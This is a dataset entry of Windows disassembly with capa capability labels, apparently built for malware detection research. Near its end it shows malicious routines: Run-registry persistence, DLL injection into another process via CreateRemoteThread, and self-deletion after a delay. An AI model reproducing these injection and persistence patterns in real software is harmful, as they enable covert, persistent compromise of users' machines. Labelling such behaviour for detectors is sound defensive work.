joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
lea eax, [ebp - 8]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x4c]
mov dword [esp], eax
mov dword [ebp - 0x34], 0x41e9c0
mov dword [ebp - 0x30], 0x41f01e
mov dword [ebp - 0x28], 0x4022db
mov dword [ebp - 0x24], esp
call fcn.0041a840
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0xc], 0
mov dword [esp + 4], 0x400
mov dword [ebp - 0x48], 0xffffffff
call fcn.004029c0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [ebp - 0x48], 1
call sub.SHELL32.DLL_SHGetSpecialFolderPathA
sub esp, 0x10
test eax, eax
jne 0x4022b0
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [esp + 4], 0x424b60
mov dword [esp], eax
call fcn.00402d50
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x402297
mov dword [esp], eax
call fcn.0041dc40
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call fcn.0041a7e0
mov eax, dword [ebp + 8]
leave
ret 4
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x48], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00402d50
jmp 0x402288

Function at 0x402430
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
lea eax, [ebp - 8]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x4c]
mov dword [esp], eax
mov dword [ebp - 0x34], 0x41e9c0
mov dword [ebp - 0x30], 0x41f02c
mov dword [ebp - 0x28], 0x40253e
mov dword [ebp - 0x24], esp
call fcn.0041a840
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x104
mov dword [ebp - 0xc], 0
mov dword [esp + 4], 0x104
mov dword [esp], eax
mov dword [ebp - 0x48], 0xffffffff
call fcn.004029c0
jmp 0x4024b2
cmp eax, 0x103
jbe 0x402513
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x48], 1
add eax, eax
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
call fcn.004029c0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x48], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GetTempPathA
sub esp, 8
test eax, eax
jne 0x402490
mov eax, dword [ebp + 8]
mov dword [eax], 1
mov dword [eax + 4], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.004029c0
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x402501
mov dword [esp], eax
call fcn.0041dc40
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call fcn.0041a7e0
mov eax, dword [ebp + 8]
leave
ret 4
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x48], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00402d50
jmp 0x4024f2
Function at 0x40b300
Capabilities:
Create http request
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
lea eax, [ebp - 8]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x4c]
mov dword [esp], eax
mov dword [ebp - 0x34], 0x41e9c0
mov dword [ebp - 0x30], 0x41f168
mov dword [ebp - 0x28], 0x40b53a
mov dword [ebp - 0x24], esp
call fcn.0041a840
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov dword [edx], 0
mov dword [edx + 4], 0
mov dword [edx + 8], 0
mov dword [edx + 0xc], 0
add edx, 0x10
mov dword [eax + 0x10], 1
mov dword [eax + 0x14], 0
mov dword [ebp - 0x50], edx
mov dword [esp + 4], 1
mov dword [esp], edx
mov dword [ebp - 0x48], 4
call fcn.004029c0
mov edx, dword [ebp + 8]
mov eax, edx
mov dword [edx + 0x18], 1
add eax, 0x18
mov dword [edx + 0x1c], 0
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x48], 1
call fcn.004029c0
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48], 3
add edx, 0x28
mov dword [ebp - 0x54], edx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040ac80
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.tiny_dl_nix
mov dword [ebp - 0x48], 2
call sub.WININET.DLL_InternetOpenA
mov edx, dword [ebp + 8]
sub esp, 0x14
test eax, eax
mov dword [edx], eax
je 0x40b4dc
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], 0xbb8
mov dword [esp + 0xc], 4
mov dword [esp + 8], edx
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.WININET.DLL_InternetSetOptionA
sub esp, 0x10
test eax, eax
je 0x40b517
mov edx, dword [ebp + 8]
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], eax
mov dword [esp + 4], 5
mov eax, dword [edx]
mov dword [ebp - 0x48], 2
mov dword [esp], eax
call sub.WININET.DLL_InternetSetOptionA
sub esp, 0x10
test eax, eax
je 0x40b4f7
mov edx, dword [ebp + 8]
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], eax
mov dword [esp + 4], 6
mov eax, dword [edx]
mov dword [ebp - 0x48], 2
mov dword [esp], eax
call sub.WININET.DLL_InternetSetOptionA
sub esp, 0x10
test eax, eax
je 0x40b4f0
mov edx, dword [ebp + 8]
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], eax
mov dword [esp + 4], 3
mov eax, dword [edx]
mov dword [ebp - 0xc], 3
mov dword [ebp - 0x48], 2
mov dword [esp], eax
call sub.WININET.DLL_InternetSetOptionA
sub esp, 0x10
test eax, eax
je 0x40b505
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call fcn.0041a7e0
leave
ret
call sub.KERNEL32.dll_GetLastError
jmp 0x40b4a3
call sub.KERNEL32.dll_GetLastError
lea esi, [esi]
jmp 0x40b471
call sub.KERNEL32.dll_GetLastError
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call fcn.0041a7e0
leave
ret
call sub.KERNEL32.dll_GetLastError
test eax, eax
nop
je 0x40b43b
mov dword [esp], 0x424d2b
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
jmp 0x40b43b
Function at 0x40f150
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
movzx esi, byte [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov eax, esi
cmp al, 1
sbb eax, eax
not eax
and eax, 5
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x4c]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
cmp byte [ebx + 0x8d], 0
je 0x40f230
mov ecx, esi
test cl, cl
je 0x40f272
mov dword [esp + 4], 5
mov eax, dword [ebx + 0x50]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
lea eax, [ebp - 0x18]
sub esp, 8
mov dword [esp + 4], eax
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.USER32.dll_GetWindowRect
mov edx, dword [ebp - 0xc]
sub esp, 8
mov eax, 0x46
mov ecx, dword [ebp - 0x14]
lea eax, [edx + eax]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x14], 1
sub eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
sub eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.USER32.dll_MoveWindow
mov eax, esi
mov byte [ebx + 0x8f], al
sub esp, 0x18
mov dword [esp + 4], 1
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], eax
call sub.USER32.dll_SetFocus
sub esp, 4
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp + 4], 0
mov eax, dword [ebx + 0x50]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
lea eax, [ebp - 0x18]
sub esp, 8
mov dword [esp + 4], eax
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.USER32.dll_GetWindowRect
mov ecx, esi
mov edx, dword [ebp - 0xc]
mov eax, 0xffffffba
sub esp, 8
test cl, cl
je 0x40f1c6
jmp 0x40f1c1
mov dword [esp + 4], 0
mov eax, dword [ebx + 0x50]
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
lea eax, [ebp - 0x18]
sub esp, 8
mov dword [esp + 4], eax
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.USER32.dll_GetWindowRect
mov edx, dword [ebp - 0xc]
mov eax, 0xffffffba
sub esp, 8
jmp 0x40f1c6
Function at 0x412210
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x4121a0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
mov dword [ebx + 0x2c], eax
sub esp, 0x18
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x414ae0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
lea eax, [ebp - 8]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x4c]
mov dword [esp], eax
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x34], 0x41e9c0
mov dword [ebp - 0x30], 0x41f364
mov dword [ebp - 0x28], 0x414c15
call fcn.0041a840
mov edx, dword [ebp + 8]
mov dword [esp + 4], 2
mov eax, dword [edx + 8]
mov dword [ebp - 0x48], 0xffffffff
mov dword [esp], eax
call sub.USER32.dll_GetDlgItem
mov dword [ebp - 0x10], 0x200
mov dword [ebp - 0xc], 0
sub esp, 8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov dword [esp + 4], 0x200
call fcn.004029c0
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], 0x200
mov dword [ebp - 0x48], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call sub.USER32.dll_GetWindowTextA
mov eax, dword [ebp - 0xc]
sub esp, 0xc
mov dword [esp + 4], 0x425588
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpiA
sub esp, 8
test eax, eax
jne 0x414bc0
mov edx, dword [ebp + 8]
mov dword [esp + 4], 0x103
mov dword [esp], edx
call fcn.0040de10
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x414bb3
mov dword [esp], eax
call fcn.0041dc40
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call fcn.0041a7e0
leave
ret
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], 0x124
mov dword [esp + 8], 0x4255fc
mov dword [esp + 4], 0x42560c
mov eax, dword [edx + 8]
mov dword [ebp - 0x48], 1
mov dword [esp], eax
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
cmp eax, 6
jne 0x414ba4
mov eax, dword [ebp + 8]
mov dword [esp + 4], 0x103
mov dword [esp], eax
call fcn.0040de10
lea eax, [ebp - 0x10]
mov dword [esp], eax
call fcn.0041c6b0
jmp 0x414bb3

Function at 0x419ca0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.msvcrt.dll__iob]
mov dword [ebp - 4], esi
lea esi, [ebp + 0xc]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
Function at 0x419cf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x419d16
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x419dbb
mov eax, dword [ebp - 0x24]
cmp eax, 4
jne 0x419d90
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00404150
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x419d09
cmp eax, 0x40
je 0x419d09
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
sub esp, 0x10
mov esp, ebp
pop ebp
ret
cmp eax, 0x40
je 0x419d40
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x419d40
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00419ca0
lea esi, [esi]
lea edi, [edi]

Function at 0x41a030
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.0041a010
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x41a066
jmp 0x41a0b6
add ebx, 1
movzx edx, byte [ebx]
cmp dl, 9
je 0x41a063
cmp dl, 0x20
je 0x41a063
cmp dl, 0x22
je 0x41a100
cmp dl, 9
mov eax, edx
je 0x41a0a4
cmp dl, 0x20
je 0x41a0a8
test dl, dl
jne 0x41a09a
lea esi, [esi]
jmp 0x41a0b6
cmp al, 0x20
je 0x41a0a8
test al, al
je 0x41a0b6
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x41a092
cmp al, 0x20
jne 0x41a11a
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x41a0a8
cmp al, 0x20
je 0x41a0a8
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x41a0c5
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00404220
add ebx, 1
movzx eax, byte [ebx]
test al, al
je 0x41a10e
cmp al, 0x22
jne 0x41a100
cmp al, 0x22
jne 0x41a0a4
add ebx, 1
movzx eax, byte [ebx]
jmp 0x41a0a4
cmp al, 9
je 0x41a0a8
nop
jmp 0x41a0b6
Function at 0x41a470
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x41a4a4
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [0x428064], eax
call fcn.0041b3c0
test eax, eax
sete al
movzx eax, al
mov dword [0x42004c], eax
leave
ret
call sub.KERNEL32.dll_GetLastError
test eax, eax
sete al
movzx eax, al
mov dword [0x42004c], eax
leave
ret

Function at 0x41a5c0
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, edx
push ebx
mov ebx, eax
sub esp, 0x4c
mov eax, dword [eax + 0xc]
mov edx, dword [ebx + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [esi]
mov dword [ebp - 0x1c], edx
jmp 0x41a5ec
mov dword [0x428060], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
test eax, eax
je 0x41a6b1
mov eax, dword [eax + 0x18]
xor edi, edi
mov dword [ebp - 0x2c], eax
mov eax, 0xa
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebx]
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], ecx
mov ecx, dword [ebx + 4]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 1
mov dword [esp + 0xc], ecx
call dword [ebp - 0x20]
test eax, eax
jne 0x41a6d0
cmp edi, 5
je 0x41a6d5
mov edi, dword [ebp - 0x2c]
test edi, edi
je 0x41a676
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0xa
mov dword [esp], 1
call dword [ebp - 0x2c]
cmp eax, 7
mov edi, eax
je 0x41a6d5
cmp eax, 8
jne 0x41a6d0
mov eax, dword [esi]
mov edi, dword [eax]
mov eax, dword [0x42004c]
test eax, eax
js 0x41a6c4
test eax, eax
je 0x41a5e0
mov eax, dword [0x428064]
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.KERNEL32.dll_TlsSetValue
sub esp, 8
test eax, eax
jne 0x41a5e6
call sub.KERNEL32.dll_GetLastError
jmp 0x41a5e6
mov dword [ebp - 0x2c], 0
mov edi, 5
mov al, 0x1a
jmp 0x41a601
call fcn.0041a4c0
mov eax, dword [0x42004c]
jmp 0x41a683
mov edi, 2
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41a8e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov eax, dword [0x42004c]
mov ebx, dword [ebp + 8]
test eax, eax
js 0x41a9cd
test eax, eax
jne 0x41a961
mov eax, dword [0x428060]
test eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
je 0x41a954
lea esi, [ebp - 0x20]
jmp 0x41a914
mov dword [ebp - 0x20], eax
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41a94b
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
mov dword [esp + 4], 1
mov dword [esp], 1
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
cmp eax, 6
je 0x41a990
cmp eax, 8
jne 0x41a9c0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
test eax, eax
jne 0x41a911
mov eax, 5
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [0x428064]
call sub.KERNEL32.dll_GetLastError
mov dword [esp], edi
mov esi, eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov edi, eax
mov dword [esp], esi
call sub.KERNEL32.dll_SetLastError
mov eax, edi
sub esp, 4
jmp 0x41a902
mov eax, dword [ebp - 0x20]
mov edx, esi
mov dword [ebx + 0xc], 0
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, ebx
call fcn.0041a530
cmp eax, 7
jne 0x41a959
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.0041a6e0
nop
lea esi, [esi]
lea esp, [ebp - 0xc]
mov eax, 3
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.0041a4c0
mov eax, dword [0x42004c]
jmp 0x41a8f9

Function at 0x41a9e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x41aa10
mov dword [esp], ebx
call fcn.0041a8e0
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, dword [0x42004c]
test eax, eax
js 0x41aa70
test eax, eax
jne 0x41aa40
mov eax, dword [0x428060]
lea esi, [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov edx, esi
mov dword [ebp - 0x20], eax
mov eax, ebx
call fcn.0041a5c0
cmp eax, 7
je 0x41aa80
call sub.msvcrt.dll_abort
nop
mov edi, dword [0x428064]
call sub.KERNEL32.dll_GetLastError
mov dword [esp], edi
mov esi, eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov edi, eax
mov dword [esp], esi
call sub.KERNEL32.dll_SetLastError
mov eax, edi
sub esp, 4
jmp 0x41aa22
call fcn.0041a4c0
mov eax, dword [0x42004c]
jmp 0x41aa19
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.0041a6e0
lea esi, [esi]
Function at 0x41aa90
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x42004c]
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
test eax, eax
js 0x41ab20
test eax, eax
jne 0x41aaf2
mov eax, dword [0x428060]
mov edx, dword [ebx + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
test edx, edx
jne 0x41aad7
lea esi, [ebp - 0x20]
mov eax, ebx
mov edx, esi
call fcn.0041a530
cmp eax, 7
je 0x41aae8
call sub.msvcrt.dll_abort
lea esi, [ebp - 0x20]
mov eax, ebx
mov edx, esi
call fcn.0041a5c0
cmp eax, 7
jne 0x41aad2
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.0041a6e0
mov edi, dword [0x428064]
call sub.KERNEL32.dll_GetLastError
mov dword [esp], edi
mov esi, eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov edi, eax
mov dword [esp], esi
call sub.KERNEL32.dll_SetLastError
mov eax, edi
sub esp, 4
jmp 0x41aab4
call fcn.0041a4c0
mov eax, dword [0x42004c]
jmp 0x41aaab

Function at 0x41af20
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [esp], ebx
mov ebx, dword [ebp + 0xc]
mov dword [esp + 4], esi
mov esi, dword [ebp + 8]
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x41af54
mov dword [esi], eax
mov esi, dword [esp + 4]
mov dword [ebp + 0xc], ebx
mov ebx, dword [esp]
mov dword [ebp + 8], eax
mov esp, ebp
pop ebp
jmp fcn.0041b3c0
mov ebx, dword [esp]
mov esi, dword [esp + 4]
mov esp, ebp
pop ebp
jmp sub.KERNEL32.dll_GetLastError
Function at 0x4023ce
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.USER32.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402420
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x21
mov dword [esp + 4], 1
mov dword [esp], str.Error:_unable_to_load_USER32.dll_n
call sym._fwrite
mov dword [esp], 1
call sym._exit
mov dword [esp], str.USER32.dll_has_been_loaded_successfully
call sym._puts
mov dword [esp + 4], str.GetMenuState
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40247f
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x25
mov dword [esp + 4], 1
mov dword [esp], str.Error:_unable_to_locate_GetMenuState_n
call sym._fwrite
mov dword [esp], 1
call sym._exit
mov dword [esp], str.GetMenuState_has_been_located_successfully
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
mov dword [esp], str.USER32.dll_has_been_unloaded_successfully
call sym._puts
nop
leave
ret

Function at 0x40260a
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x402659
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x402655
jmp 0x402669
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x402665
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x4027aa
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x402b36
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret